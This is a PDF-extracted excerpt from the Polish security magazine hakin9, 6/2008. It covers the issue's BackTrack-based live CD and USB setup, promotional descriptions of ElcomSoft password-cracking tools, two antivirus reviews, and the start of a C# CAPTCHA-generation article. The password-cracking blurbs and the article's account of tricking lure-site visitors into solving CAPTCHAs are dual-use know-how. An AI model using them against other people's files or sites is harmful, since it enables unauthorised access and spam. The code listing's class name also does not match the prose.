Na dołączonej do pisma płycie znajduje się dystrybucja hakin9.live (h9l) w wersji 4.0.3 

on BackTrack2.0, zawierająca przydatne narzędzia, dokumentację, tutoriale i materiały 

dodatkowe do artykułów.

ZAWARTOŚĆ CD

Aby zacząć pracę z hakin9.live, wystarczy uruchomić komputer z CD. Po 

uruchomieniu systemu możemy zalogować się jako użytkownik hakin9 bez 

podawania hasła.

JAK ZACZĄĆ

PROGRAMY

•   Advanced PDF Password Recovery
•   Advanced Outlook Express Password 

Recovery 

•   Elcomsoft Distributed Password 

Recovery 

•   HDDlife
•   Partition Manager

FILMY INSTRUKTAŻOWE

Ósmy odcinek: Session_Poisoning-
zatruwanie sesji PHP

Kolejny odcinek z serii filmów 

instruktażowych, przedstawiający 
najpopularniejsze metody ataków na 
strony internetowe.

BACKTRACK2.0 NA TWOIM 

PENDRIVIE

Utwórz partycję na pendrivie:

# fdisk /dev/sda

Uwaga: Jeśli posiadasz dyski SCSI lub 
SATA, sprawdź gdzie są umieszczone 
– 

/dev/sda

 może być Twoim dyskiem 

systemowym!

Wykasuj wszystkie istniejące partycje 

(wciśnij d oraz Enter, później wprowadź 
ilość partycji – od 1 do 4). Aby sprawdzić 
obecny stan partycji, wprowadź p. Później 
zacznij tworzyć nową partycję FAT32 
– o wielkości około 800 MB. W tym celu 
wciśnij n, zatwierdzając klawiszem Enter
Zacznij od początku i ustal wielkość 
tworzonej partycji lub wciśnij jeszcze 

raz Enter, aby użyć całego urządzenia. 
Rodzaj partycji musi zostać zmieniony 
na FAT32 – wprowadź t i odpowiedz b na 
pojawiające się pytanie.

Musimy teraz sprawić, żeby nowa 

partycja była bootowalna. Wpisz a, a 
następnie wprowadź numer partycji 
– 1. Teraz wpisz w w celu zapamiętania 
zmian.

Pliki

Na początku utwórz na nowej partycji 
system plików:

# mkfs.vfat /dev/sda1

Teraz zdefiniuj punkt montowania 
tworzonego systemu plików:

# mount /dev/sda1 /mnt/usb

Skopiuj pliki hakin9 live do przygotowanej 
lokalizacji:

# cp -a /mnt/cdrom/* /mnt/usb/

Niektóre struktury plików powinny zostać 
usunięte:

# cd /mnt/usb/

# rm boot/vmlinuz

# rm boot/initrd.gz

/mnt/usb powinien znajdować się 

plik syslinux.cfg.

Po tej operacji wykonaj następujące 

polecenia:

# umount /dev/usb/
# syslinux /dev/sda1

W przypadku problemów wydaj 
polecenie:

# syslinux-nomtools /dev/sda1

Zrestartuj teraz maszynę i w BIOSie 
ustaw bootowanie z USB–HDD

Gotowe, utworzyłeś w pełni 

funkcjonalny system na swoim pendrivie. 
Pamiętaj, że bootowanie z USB jest 
obsługiwane jedynie przez nowe płyty 
główne. Obecnie cała operacja jest 
możliwa tylko z pendrive'ami, które 
posiadają sektory o rozmiarze 512 
bajtów.

ADVANCED OUTLOOK EXPRESS 

PASSWORD RECOVERY 

Advanced Outlook Express Password 
Recovery (AOEPR) – program do 
odtwarzania zapomnianych haseł do 
skrzynek pocztowych, news–serwerów 
i zapisów Identities w Microsoft Outlook 

background image

10

 

NA CD

HAKIN9 6/2008

11

 

HAKIN9.LIVE

HAKIN9 

6/2008

Express. Hasła odtwarzane są tylko w 
przypadku, gdy zostały one w Outlook 
Express (była włączona opcja Zachować 
hasło). Wszystkie hasła odtwarzane 
są natychmiast, przez bezpośrednie 
dekodowanie. Program ma prosty intuicyjny 
interfejs i współdziała ze wszystkimi 
wersjami Outlook Express. 

ADVANCED PDF PASSWORD 

RECOVERY

Szybkie i sprawne odzyskiwanie 
dostępu do chronionych hasłem 
plików PDF! Chroniony plik PDF 
można również odblokować usuwając 
ograniczenia drukowania, edytowania 
czy kopiowania! Program Advanced 
PDF Password Recovery odzyskuje i 
natychmiast usuwa hasła chroniące lub 
blokujące dokumenty PDF utworzone w 
jakiejkolwiek wersji Adobe Acrobat lub w 
innych aplikacjach PDF.
Właściwości i korzyści:

•   Obsługa wszystkich wersji Adobe 

Acrobat 

•   Obsługa wszelkich programów 

tworzących pliki w formacie PDF 
innych dostawców 

•   Odblokowuje ograniczenia 

drukowania, kopiowania i edycji 
dokumentów PDF 

•   Usuwa hasła właściciela i 

użytkownika 

•   Odzyskuje hasła potrzebne do 

otwarcia 

•   Praca z szyfrowaniem 40–bitowym, 

128–bit RC4, jak również z 
szyfrowaniem AES 

•   Opatentowana technologia Thunder 

Tables™ odzyskuje 40–bitowe hasła 
w kilka minut 

•   Ataki słownikowe i ataki brute–force 

(na zasadzie pełnego przeglądu) z 
maskami i szablonami użytkownika 

•   Istnieją trzy wersje w celu 

usatysfakcjonowania najbardziej 
wymagających i zaawansowanych 
klientów 

•   Opcja usuwania kodu Jscript, pól 

formularzy i podpisów cyfrowych 

•   Tryb wsadowy pozwala na 

automatyczne przetwarzanie wielu 
plików 

•   Wysoko zoptymalizowany kod 

niskiego poziomu do wielojądrowych 
jednostek centralnych 

Natychmiastowy dostęp do 
plików PDF z ograniczeniami

Usuwanie denerwujących ograniczeń 
plików PDF! Advanced PDF Password 
Recovery natychmiast odblokowuje 
dokumenty PDF z ograniczonymi 
funkcjami drukowania, edytowania czy 
kopiowania danych do schowka. Jest to 
jak na razie najpopularniejszy sposób 
chronienia plików PDF. Jeżeli można 
otworzyć dokument bez hasła, ale nie 
da się go wydrukować, jakość druku jest 
niska, nie można skopiować danych do 
schowka albo dokonać edycji dokumentu, 
po co zwlekać, wystarczy zakupić 

Advanced PDF Password Recovery 
Standard edition!

Hasła do odczytania

Co zrobić, kiedy nie da się otworzyć 
dokumentu PDF nie znając hasła? 
W takim przypadku, będą Państwo 
potrzebować funkcji odzyskiwania hasła 
programu Advanced PDF Password 
Recovery w wersji Professional oraz 
Enterprise.

Pliki formatu PDF posiadają dwa 

typy ochrony: słabe 40–bitowe i silne 
128–bitowe szyfrowanie. Advanced 
PDF Password Recovery gwarantuje 
odzyskiwanie 40–bitowych kluczy, atakując 
kod klucza zamiast próbować odgadnąć 
hasło. Podczas gdy wersja Professional 
odzyskuje dokument PDF chroniony przez 
40–bitowy klucz w przeciągu kilku dni, 
wersja Enterprise odblokowuje zakodowany 
plik PDF zaledwie w kilka minut!

Technologia Thunder Tables™ 
(zgłoszona do opatentowania)

Unikalna technologia Thunder Tables™ 
opracowana przez ElcomSoft wykorzystuje 
wcześniej wyliczone tablice, aby znacznie 
przyspieszyć odzyskiwanie 40–bitowych 
kluczy. Technologia ta jest dostępna w 
wersji Enterprise i odblokowuje chronione 
dokumenty w zaledwie kilka minut, a nie dni.

Odzyskiwanie silnych haseł

Jeżeli dokument PDF jest chroniony 
silnym kluczem 128–bitowym, Advanced 
PDF Password Recovery wykonuje serię 
ataków na dokument PDF w celu uzyskania 
oryginalnego hasła. Jednak nawet wtedy 
nie pozostają Państwo bez wyjścia!

Atak słownikowy

Ludzie tworzą większość haseł na 
podstawie słowa lub frazy. Wykonanie 
pomyślnego ataku słownikowego przy 
użyciu różnych kombinacji przypadków 
oraz wariantów słów i znaków, zanim 
skorzystamy z wyczerpującego ataku 
brute–force, pozwala na znaczną 
oszczędność czasu.

Atak typu brute–force

Jeżeli hasło nie istnieje w żadnym ze 
słowników, Advanced PDF Password 
Recovery sprawdza wszelkie możliwe 
kombinacje haseł przeprowadzając atak 

Rysunek 1. 

Advanced Outlook Express Password Recovery

background image

12

 

NA CD

HAKIN9 6/2008

brute–force. Wysoko zoptymalizowany 
kod niskiego poziomu zapewnia 
najlepsze przeprowadzenie, w swojej 
klasie, odzyskiwanie hasła metodą 
brute–force. Optymalizacja wielowątkowa 
zapewnia optymalne wykonanie 
we współczesnych wielojądrowych 
jednostkach centralnych.

Informacje dodatkowe

Komputery Mac i wirtualne komputery PC: 
Advanced PDF Password Recovery nie 
działa na wirtualnym komputerze PC oraz 
Mac jako na komputerze centralnym.

DRM i wtyczki zabezpieczające innych 

dostawców: Advanced PDF Password 
Recovery nie obsługuje plików PDF 
chronionych przy użyciu technologii 
Digital Rights Management (DRM) ani 
innych wtyczek zabezpieczających innych 
dostawców, takich jak FileOpen (FOPN_
fLock).

Nowa wersja technologii Thunder 

Tables™4.0 dostępna w wersji Enterprise 
gwarantuje odzyskanie 40–bitowych 

plików PDF oraz pozwala na usuwanie 
kodu JScript, pól formularzy i podpisów 
cyfrowych z plików PDF (dostępne w 
wersjach Professional i Enterprise). 

ELCOMSOFT DISTRIBUTED 

PASSWORD RECOVERY 

program do odzyskiwania zapomnianych 
haseł do różnych typów dokumentów.
Możliwości programowe :
•   odtwarzanie haseł przy pomocy 

zintegrowanej mocy wszystkich 
komputerów połączonych w sieci

•   praca w lokalnych i globalnych sieciach 

komputerowych

•   zdalne administrowanie serwera do 

wyboru haseł

•   pozwala na instalację i deinstalację 

agentów na odległość

•   zmieniać czas pracy agentów i 

priorytetu 

•   uruchamiać agentów i serwer jako 

serwisy

•   zbiór i analiza statystyk

HDDLIFE

HDDlife to program, który monitoruje 
prace naszych dysków twardych pod 
kątem ich sprawności i zużycia. Pozwala 
ostrzec użytkownika o zbliżającym 
się niebezpieczeństwie w postaci 
uszkodzenia dysku. Program pokazuje 
stan dysku w postaci graficznej, bądź 
procentowej. Wszelkie zmiany są na 
bieżąco przedstawiane użytkownikowi, 
aby ten mógł podjąć odpowiednie 
działania.

PARTITION MANAGER

Partition Manager rozbudowany pakiet 
do zarządzania dyskiem twardym. Bez 
problemu wykonamy obraz dysku bądź 
zmienimy parametry dowolnej partycji 
na dysku, zachowując przy tym zapisane 
na nich pliki. W skład pakietu wchodzą: 
BootManager, Partition Manager, Drive 
Backup, Disk Wiper, Ext2FS Anywhere, 
Encrypted Disk.

PODZIĘKOWANIA

Serdeczne podziekowania dla dystrybutora 
Softkey Poland Sp. z o.o. 
http://www.softkey.pl/ za udostepnienie 
programów na płytę, która jest dołączona 
do magazynu.

Żeby uruchomić swój komputer z płyty 

hakin9.live, ustaw swój BIOS na 

bootowanie z napędu CD-ROM. Po 

dokonanych zmianach uruchom 

ponownie komputer. Uruchomi się 

dytrybucja hakin.live, na której możesz 

przećwiczyć techniki prezentowane w 

tutorialach. Upewnij się, ze sprawdziłeś 

desktopowe foldery – zawierają wiele 

dodatkowych materiałów. Zawartość CD 

można również przejrzeć w systemie 

Windows.

Rysunek 2. 

HDDlife

background image

Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona 

mechanicznie, sprawdź ją na co najmniej dwóch napędach CD.

W razie problemów z płytą, proszę napisać pod adres:

cd@software.com.pl

background image

14

 

NARZĘDZIA

HAKIN9 6/2008

15

 

NARZĘDZIA

HAKIN9 

6/2008

Oprogramowanie firmy Symantec 
zawsze cieszyło się dużym 
uznaniem wśród użytkowników 

komputerów. Jednym z dostępnych pakietów 
jest SystemWorksTM. W wersji podstawowej 
(Basic Edition) w skład pakietu wchodzą: Norton 
UtilitiesTM, Norton GoBackTM, One Button 
Checkup oraz System Optimizer.

Instalacja oprogramowania nie sprawia 

najmniejszego problemu nawet osobom z 
minimalną wiedzą komputerową. Przed jej 
rozpoczęciem należy się jednak upewnić, czy 
dysponujemy odpowiednią ilością miejsca na 
dysku twardym (Norton GoBackTM wymaga 10% 
wolnego miejsca na dysku na historię – istnieje 
możliwość ręcznego skonfigurowania w trakcie 
instalacji). Poszczególne programy mogą być 
uruchomione bezpośrednio z dysku CD bez 
instalacji (Norton CleanUp, Norton Disk Doctor, 
Norton WinDoctor).

Po pomyślnej instalacji dostajemy bogaty 

zestaw narzędzi gotowych do optymalizacji 
oraz naprawy naszego systemu. Mówiąc 
najbardziej ogólnie, możemy podzielić pakiet 
na Norton Cleanup oraz Norton Utilities. 
Pierwszy zawiera aplikacje pozwalające na 
szybkie usunięcie plików tymczasowych, 
plików cookie, plików historii internetowej oraz 
pamięci podręcznej. Druga grupa jest znacznie 
liczniejsza i zawiera narzędzia diagnostyczno-
naprawcze:

Norton Disk Doctor – narzędzie służące do 

diagnozowania oraz naprawiania problemów 
dotyczących dysków twardych,

Norton System Doctor – monitor systemu, 

reagujący natychmiast w przypadku wykrycia 
problemu (zarówno powiadomieniem 
użytkownika, jak i – w niektórych sytuacjach 
– automatyczną naprawą). Aplikacja pozwala na 
wybór aktywnych czujników nadzorujących m. in. 
dyski twarde, procesor, pamięć i sieć,

Norton WinDoctor – bardzo przydatne 

narzędzie, służące do rozwiązywania 
najczęstszych problemów występujących w 
systemach z rodziny Windows®,

Speed Disk – doskonałe narzędzie, w 

pełni zastępujące systemowy defragmentator. 
Regularne stosowanie pozwala na znaczne 
przyspieszenie naszego komputera oraz 
zmniejszenie liczby operacji wykonywanych 
przez głowicę dysku,

UnErase Wizard – pozwala na odnalezienie 

i odzyskanie plików chronionych przez pakiet 
Norton Utilities.

Wspomniany wcześniej Norton GoBack 

jest narzędziem służącym do szybkiego 
przywrócenia systemu do wcześniejszego 
stanu. Pozwala to na naprawę systemu w 
przypadku groźnej infekcji przez wirusa, 
usunięcie szkód wyrządzonych przez 
niebezpieczne oprogramowanie lub po prostu 
odzyskanie ważnych, utraconych danych. 
Domyślnie w trakcie instalacji GoBack wymaga 
10% wolnego miejsca na dysku, co stanowi 
dość dużą wartość. 

Całość pakietu jest nadzorowana przez 

usługę LiveUpdate, która zapewnia uaktualnienia 
dla wszystkich komponentów pakietu. 

Firma Symantec po raz kolejny stworzyła 

znakomity zestaw narzędzi zwiększających 
bezpieczeństwo i niezawodność sytemu 
operacyjnego. Pakiet SystemWorks został 
wydany w 3 wersjach: Basic Edition, Standard 
Edition oraz Premier Edition. 

W wersji Standard Edition użytkownik 

dodatkowo dostaje ochronę poczty 
elektronicznej, zabezpieczenie przed 
programami typu spyware oraz ochronę 
plików ściąganych z Internetu (usuwanie 
niebezpiecznych elementów). Premier Edition 
zezwala na tworzenie kopii zapasowych 
ważnych plików i całych dysków (Norton Ghost).

Pakiet SystemWorks stanowi niezawodne 

narzędzie do ochrony systemu operacyjnego 
oraz danych. Pozwala na zwiększenie 
wydajności systemu. Proste i intuicyjne interfejsy 
graficzne stanowią dodatkowy atut. Produkt 
firmy Symantec jest idealnym rozwiązaniem 
dla każdego użytkownika potrzebującego 
kompleksowej ochrony komputera.

Producent

Symantec

System

MS Windows XP

Typ

Oprogramowanie 
narzędziowe

Strona dystrybutora

www.softpoint.com.pl

Recenzent

Radosław Matusiak

Norton System Works 

– Standard Edition

«««««

OCENA

background image

14

 

NARZĘDZIA

HAKIN9 6/2008

15

 

NARZĘDZIA

HAKIN9 

6/2008

W dzisiejszych czasach zagrożenia 
napływające z Internetu coraz 
poważniej dają się nam we znaki. 

Każdego dnia, wirusy, konie trojańskie czy inne 
robaki powodują utratę danych bądź – co 
gorsza – uszkodzenie danego podzespołu 
przez precyzyjny atak hakerski. Zapewne w tym 
momencie powiesz, że to bzdura, przecież nic się 
nie dzieje, jestem wolny i bezpieczny. Ignorowanie 
poważnego niebezpieczeństwa, z którym mamy 
styczność na co dzień, to największy błąd, 
ponieważ zagrożenie jest w pewnym sensie ukryte. 
Na pewno słyszałeś nie raz, że lepiej zapobiegać, 
niż leczyć – i tu z pomocą przychodzi nam firma 
ESET ze swoim najnowszym produktem – ESET 
Smart Security, który dziś z miłą chęcią będę 
testował. Jest to kompleksowy zestaw do ochrony 
naszego komputera, połączenie nowoczesnej 
technologii ze skutecznością i niezawodnością. 
W skład pakietu ESET Smart Security wchodzą 
następujące elementy: ochrona antywirusowa, 
antyspyware, filtr antyspamowy i zapora osobista.

Gdy otrzymałem paczkę z oprogramowaniem, 

nie mogłem się doczekać na sprawdzenie, jakie 
możliwości ono oferuje. Nasuwało się wiele pytań 
– czy program spełni moje oczekiwania, czy nie 
będzie zużywał zbyt wielu zasobów komputera, 
a także czy nie przytłoczy mnie zaawansowaną 
konfiguracją? Instalacja przebiega błyskawicznie 
i intuicyjnie – potem już tylko restart komputera 
i możemy się cieszyć działaniem pakietu. Po 
uruchomieniu ów programu ujrzymy estetyczne 
menu. Dużym jego plusem jest polska wersja 
językowa, co ułatwia konfigurację oraz użytkowanie. 
Interfejs, w zależności od naszego wyboru, może 
pracować w dwóch trybach: zaawansowanym 
i standardowym. W trybie zaawansowanym, w 
porównaniu do trybu standardowego, do menu 
zostało dodanych kilka opcji.

Od razu po instalacji warto dostosować 

program do własnych potrzeb. Na początek 
przyjrzyjmy się możliwościom związanym ze 
skanowaniem komputera. Do dyspozycji mamy 
dwie opcje: skanowanie standardowe, powodujące 
automatyczne sprawdzenie całego komputera, 

lub niestandardowe – gdzie wybieramy, które dyski 
chcemy przeskanować. W opcjach skanowania 
możemy zdefiniować, jakie obiekty chcemy 
skanować, jakimi metodami, a także określić poziom 
leczenia plików. Warto dodać, że program skanuje 
nie tylko nasze dyski lokalne, ale także pamięć 
operacyjną i wymienne nośniki danych. ESET Smart 
Security posiada wbudowane moduły inteligentnego 
wykrywania zagrożeń, przez co jego skuteczność jest 
większa niż konkurencji.

Wielotrybowość aplikacji objawia się także przy 

użytkowaniu zapory osobistej, która może pracować 
w dwóch trybach (LAN oraz ogólnodostępowa). 
Mamy także możliwość wyboru rodzaju filtrowania 
połączenia. W menu zapory znajduje się lista 
aplikacji, które w danym momencie korzystają 
z Internetu. Program umożliwia zablokowanie 
konkretnej aplikacji dostępu do Internetu w dowolnej 
chwili, lecz dostrzegam tutaj pewną wadę – a 
mianowicie skromny zakres konfiguracji zapory 
– także jej funkcjonalność jest ograniczona w 
porównaniu do firewalli innych producentów.

Program od chwili zainstalowania na 

komputerze pobiera najnowsze bazy sygnatur 
wirusów oraz aktualizacje samej aplikacji. Uważam 
to za ogromną zaletę i byłem mile zaskoczony 
taką wielofunkcyjnością i nowoczesnością 
oprogramowania. Brawo!

Przechodzimy do zakładki Narzędzia, która 

udostępnia nam listę ostatnich zablokowanych 
ataków, plik logów, kwarantannę (i wszystkie zawarte 
w niej pliki) czy też harmonogram zadań – gdzie 
możemy zaplanować sobie (a w zasadzie aplikacji) 
konkretną czynność do wykonania. Bardzo ważnym 
aspektem jest udostępnienie możliwości przesłania 
podejrzanych plików do analizy pod kątem wykrycia 
niebezpieczeństwa. Program ma rozbudowany 
system pomocy, gdzie nie tylko znajdziemy 
odpowiedzi na najczęściej zadawane pytania, ale też 
informacje o rodzajach zagrożeń.

 Aplikacja łączy w sobie cechy nowoczesnego 

oprogramowania zabezpieczającego, jest prosta 
w instalacji, konfiguracja nie przerasta domowych 
użytkowników, a intuicyjna obsługa pakietu pozwoli 
nawet najmłodszym użytkownikom dbać o 

Producent

Eset

System

Windows 2000, XP, 2003 i 
Windows Vista 

Typ

Pakiet bezpieczeństwa

Strona dystrybutora

www.dagma.com.pl

Recenzent

Patryk Elżanowski

ESET Smart Security 

«««««

OCENA

background image

16

 

POCZĄTKI

HAKIN9 6/2008

P

odczas wypełniania różnorodnych formularzy 
na stronach WWW bardzo często musimy 
udowodnić, że nie jesteśmy botami. Zwykle 

służą do tego specjalnie spreparowane obrazki, z 
których przeciętny człowiek powinien bez problemu 
odczytać nieco zniekształcony tekst (Rysunek 1).

Taki rodzaj zabezpieczeń przydaje się 

szczególnie przy różnego rodzaju rejestracjach, 
np. darmowych kont e-mail, lub wypowiedziach 
na forach internetowych. Chroni on przed 
automatycznym tworzeniem kont przez automaty 
(np. roboty spamerskie). Technika ta nosi nazwę 
CAPTCHA, co jest skrótem angielskiego określenia 
Completely Automated Public Turing Test to Tell 
Computers and Humans Apart
. Luis von Ahn, 
Manuel Blum, Nicholas Hopper i John Langford z 
Carnegie Mellon University stworzyli ją na potrzeby 
Yahoo. Chcieli w ten sposób ukrócić automatyczne 
tworzenie spamerskich kont e-mail na tym portalu. 
Na początku CAPTCHA sprawdzała się wyśmienicie. 
Jednak – jak to w przyrodzie bywa – każdej akcji 
towarzyszy reakcja. Opracowanych zostało kilka 
typów ataków, które w mniejszym bądź większym 
stopniu umożliwiały obejście tego zabezpieczenia. 
Najprostszy atak polega na zatrudnieniu 
podstawionych osób, które zakładały konta e-mail 
chronione przez system CAPTCHA. W końcu osoby te 
były w stanie odczytać zniekształcony tekst. Problem 
w tym, że nikt nie będzie chciał robić czegoś takiego 
za darmo – należy za to zapłacić, co może okazać 
się mało opłacalne dla spamera. Drugi problem to 
niska efektywność rozwiązania. Inne, dosyć ciekawe 

SŁAWOMIR ORŁOWSKI

Z ARTYKUŁU 

DOWIESZ SIĘ

co to jest test CAPTCHA,

jakie są wady i zalety tego 

rozwiązania, 

jak z poziomu kodu C# 

wygenerować obrazek 

CAPTCHA,

o klasach platformy .NET 

obsługujących grafikę 2D.

CO POWINIENEŚ 

WIEDZIEĆ

znać podstawy języka C# 

i technologii ASP.NET.

rozwiązanie polega na użyciu podstawionych stron 
– najlepiej pornograficznych. Jeśli użytkownik takiego 
serwisu WWW zechce obejrzeć jakąś jego część 
(zdjęcie), musi wpisać kod z obrazka. Wystarczy, że 
obrazek zabezpieczający do takiej strony zostanie 
wklejony z formularza znajdującego się na stronie, 
którą chcemy zaatakować. Nieświadomy użytkownik 
sam rozwiąże za nas zagadkę. Jest to kolejny rodzaj 
ataku, w którym wykorzystujemy człowieka. Sprytne, 
bardziej efektywne, tańsze – ale czy wystarczająco 
skuteczne? Ludzie odpowiedzialni za projekt 
CAPTCHA twierdzą, że nie. Spamerzy twierdzą 
oczywiście, że tak. Jednak proszę sobie wyobrazić 
serwis WWW, w którym za każdym razem, kiedy 
chcemy zobaczyć coś nowego, musimy wpisywać 
jakiś kod. Wątpię, żeby taka strona przyciągała 
wielu użytkowników. Lepszym rozwiązaniem są 
programy OCR (ang. Optical Character Recognition), 
które za pomocą pewnych algorytmów potrafią 
odczytać tekst z obrazka. Oczywiście standardowe 
aplikacje OCR nie poradzą sobie z przeciętnym 
obrazkiem CAPTCHA. Potrzebne są narzędzia 
bardziej wyspecjalizowane, stworzone specjalnie na 
potrzeby łamania akurat tego typu zabezpieczeń. 
Jednym z takich projektów jest program PWNtcha 
(ang. Pretend We’re Not a Turing Computer but a 
Human Antagonist
). Potrafi on prawdopodobnie 
zdekodować tekst pochodzący ze stosunkowo 
mało skomplikowanych obrazów. Nie należy jednak 
oczekiwać, że poradzi sobie z każdym obrazkiem. 
Aby w miarę dobrze działał, należy go dostroić do 
konkretnego problemu. Napisałem prawdopodobnie

Stopień trudności

Test CAPTCHA

Jak odróżnić człowieka od automatu w Internecie? Istnieje prosty 

test, który może to sprawdzić. Wystarczy wygenerować obrazek 

ze zniekształconym tekstem i kazać użytkownikowi go odczytać.

background image

17

 

TEST CAPTCHA

HAKIN9 

6/2008

ponieważ autor PWNtcha nie udostępnia 
tego programu do testów. Jest to dosyć 
logiczne, ponieważ narzędzie mogłoby być 
użyte przez spamerów. Innym projektem jest 
aiCAPTCHA. Używa on algorytmów sztucznej 
inteligencji. Nie sądzę jednak, że zostanie 
stworzony program, który będzie sobie radził 
ze wszystkimi rodzajami obrazków CAPTCHA. 
Ostatnio na świecie pojawiło się coraz więcej 
przeciwników tego zabezpieczenia. Osoby 
niedowidzące mają poważne problemy przy 
odczytaniu tekstu. Obrazki te są również 
coraz trudniejsze do odczytania przez 
dobrze widzące osoby. Taki system wymaga 
również od użytkownika pewnej fatygi, a to 
może skutecznie zniechęcić użytkowników. 
Przecież korzystanie z Internetu powinno być 
lekkie, łatwe i przyjemne. Istnieje też sporo 
innych, darmowych i komercyjnych rozwiązań 
przeciwko botom, jednak test CAPTCHA 
nadal jest – i pewnie jeszcze długo będzie 
– wykorzystywany.

W tym artykule chciałbym zaproponować 

stworzenie własnej klasy, która będzie miała 
możliwość generowania obrazków CAPTCHA. 
Klasa będzie napisana w języku C#, w 
związku z tym będzie ją można używać w 
projektach ASP.NET. Użyjemy standardu C# 
2.0 i .NET 2.0. Program napisany będzie przy 
użyciu Visual C# 2008 Express Edition. Niech 

klasa nosi nazwę Captcha i będzie częścią 
przestrzeni nazw Hakin9. Na początku 
zadeklarujemy pola i konstruktory klasy 
(Listing 1.).

Pola 

width

 i 

height

 będą 

przechowywały odpowiednio szerokość 
i wysokość obrazka. Pole 

fontSize

 

odpowiada za wielkość czcionki. Pole 

text

 zawierać będzie tekst, jaki ma 

być umieszczony na obrazku. Pole 

random

 będzie pomocne przy generacji 

liczb pseudolosowych, potrzebnych 
do losowego dodawania pewnych 
elementów utrudniających programom 
OCR odczytanie tekstu. Pora teraz napisać 
główną metodę klasy, która będzie 
generowała obrazek (Listing 2.).

Metoda ta zwracać będzie obiekt 

typu 

Bitmap

, czyli mapę bitową. Ponieważ 

w definicji klasy zadeklarowaliśmy trzy 
konstruktory, na początku metody 

Generate

 

musimy sprawdzić, czy wszystkie wymagane 

pola są wypełnione danymi. Jeśli nie, 
generowany jest wyjątek. Dalej deklarujemy 
egzemplarz klasy 

Bitmap

, który zawierać 

będzie obrazek. Na jego podstawie budujemy 
obiekt klasy 

Graphics

, który umożliwi nam 

rysowanie. Pole, które będziemy wypełniać 
grafiką, definiujemy za pomocą klasy 

Rectangle

.

Płótno, na którym będziemy malować, 

jest już przygotowane – pora teraz na pędzel. 
Użyjemy do tego klasy 

HatchBrush

. W 

konstruktorze tej klasy przekazujemy styl, kolor 
rysowania i kolor podkładu. Zbiór styli zawiera 
typ wyliczeniowy 

HatchStyle

 – mamy 

do wyboru aż 56 rodzajów wypełnienia. 
Teraz za pomocą referencji 

g

 wypełniamy 

całość obrazka używając do tego metody 

FillRectangle

. W tym przypadku wybrany 

został styl 

SmallConfetti

, ale nic nie stoi 

na przeszkodzie, aby Czytelnik przeciążył 
metodę 

Generate

 z argumentem wywołania, 

który umożliwi własny wybór stylu. Jest to 

Rysunek 2. 

Przykładowe użycie klasy 

Captcha

Listing 1. 

Pola i konstruktory klasy Captcha

using

 

System

;

using

 

System

.

Text

;

using

 

System

.

Drawing

;

using

 

System

.

Drawing

.

Imaging

;

using

 

System

.

Drawing

.

Drawing2D

;

namespace

 

Rysunki

{

    

public

 

class

 

RPicture

    

{

        

private

 

int

 

width

;

        

private

 

int

 

height

;

        

private

 

int

 

fontSize

;

        

private

 

string

 

text

;

        

private

 

Random

 

random

;

        
        
        

public

 

RPicture

()

        

{

            

random

 

=

 

new

 

Random

();

        

}

        

public

 

RPicture

(

int

 

_width

int

 

_height

int

 

_fontSize

)

        

{

            

random

 

=

 

new

 

Random

();

            

width

 

=

 

_width

;

            

height

 

=

 

_height

;

            

fontSize

 

=

 

_fontSize

;

        

}

        

public

 

RPicture

(

int

 

_width

int

 

_height

int

 

_fontSize

string

 

_text

)

        

{

            

random

 

=

 

new

 

Random

();

            

width

 

=

 

_width

;

            

height

 

=

 

_height

;

            

fontSize

 

=

 

_fontSize

;

            

text

 

=

 

_text

;

        

}

   

}

Rysunek 1. 

Przykładowe obrazki 

zabezpieczające 

background image

18

 

POCZATKI

HAKIN9 6/2008

TEST CAPTCHA

19

 

HAKIN9 

6/2008

bardzo proste ćwiczenie, które może wykonać 
Czytelnik samodzielnie.

W kolejnym kroku przygotowujemy napis, 

który zostanie umieszczony na obrazku. Klasa 

StringFormat

 przechowuje informacje 

dotyczące formatowania napisu. Z kolei 
egzemplarz klasy 

GraphicsPath

 posłuży 

nam do umieszczenia tekstu na obrazku. 
Jest to bardzo ciekawa klasa, niezwykle 
użyteczna przy tworzeniu fragmentów 
aplikacji, które obsługują obiekty graficzne. 
Za jej pomocą możemy rysować różnorodne 
kształty, wypełniać wnętrza figur itd. Kształty, 
w tym również tekst, to skończona sekwencja 
połączonych ze sobą linii i łuków. Metodą 

AddString

 dodajemy napis do obiektu 

path

. Jej trzeci argument odpowiada za 

styl czcionki. Można wybierać pomiędzy 
kursywą, pogrubieniem, przekreśleniem i 
podkreśleniem. Jak widać na Listingu 2., style 
można ze sobą łączyć. Myślę, że pozostałe 
argumenty wywołania nie wymagają opisu.

Dla tekstu tworzymy jeszcze nowy 

pędzel. Wybrany został na stałe styl 

LargeConfetti

 – tak, jak w poprzednim 

przypadku można przeciążyć metodę 

Generate

, aby przyjmowała jako argument 

również ten styl. Tekst powinien być 
nieznacznie zaburzony. Posłuży do tego 
metoda 

Warp

 klasy 

GraphicsPath

. Jedna 

z jej wersji przyjmuje cztery argumenty. 
Pierwszym z nich są punkty definiujące 
czworościan, który będzie zawierał 
zmieniony obrazek. Drugi argument 
to obrazek źródłowy, trzeci to macierz 
przekształcenia – użyta została macierz 
zerowa. Ostatnim argumentem jest typ 
wyliczeniowy zawierający dwa sposoby 
przekształcania: 

Bilinear

 i 

Perspective

Proponuję samemu poeksperymentować 
z możliwymi transformacjami. Tutaj zostało 
użyte dosyć proste przekształcenie z 
elementami losowości.

Po tych czynnościach pozostaje nam 

tylko wyświetlić przygotowany tekst za 
pomocą metody 

FillPath

. Do narysowania 

tekstu celowo użyty został nieregularny styl 
pędzla oraz zaburzenie tekstu. Utrudni to 
programom próbującym zdekodować tekst 
odnalezienie liter. W kolejnych dwóch pętlach 
dodajemy do obrazka losowe zakłócenia. Jest 
to konieczne, ponieważ obrazek generowany 

zawsze w ten sam sposób byłby łatwy do 
oczytania przez programy, które wystarczyłoby 
odpowiednio dostosować. Pierwsza pętla 
dodaje wypełnione elipsy umieszczone 
w przypadkowych miejscach (metoda 

FillEllipse

). Za sprawą odpowiednio 

dobranych współczynników elipsy pojawią 
się na obrazku jako kropki, które nie będą 
utrudniały człowiekowi odczytania tekstu z 

Listing 2. 

Metoda generująca obrazek CAPTCHA 

public

 

Bitmap

 

Generate

()

        

{

            

if

 

(

width

 

==

 

0

 

||

 

height

 

==

 

0

 

||

 

text

 

==

 

null

)

                

throw

 

new

 

NullReferenceException

(

"Please select width, height and text 

for image"

);

            

Bitmap

 

picture

 

=

 

new

 

Bitmap

(

width

height

PixelFormat

.

Format32bppArgb

);

            

Graphics

 

g

 

=

 

Graphics

.

FromImage

(

picture

);

            

g

.

SmoothingMode

 

=

 

SmoothingMode

.

AntiAlias

;

            

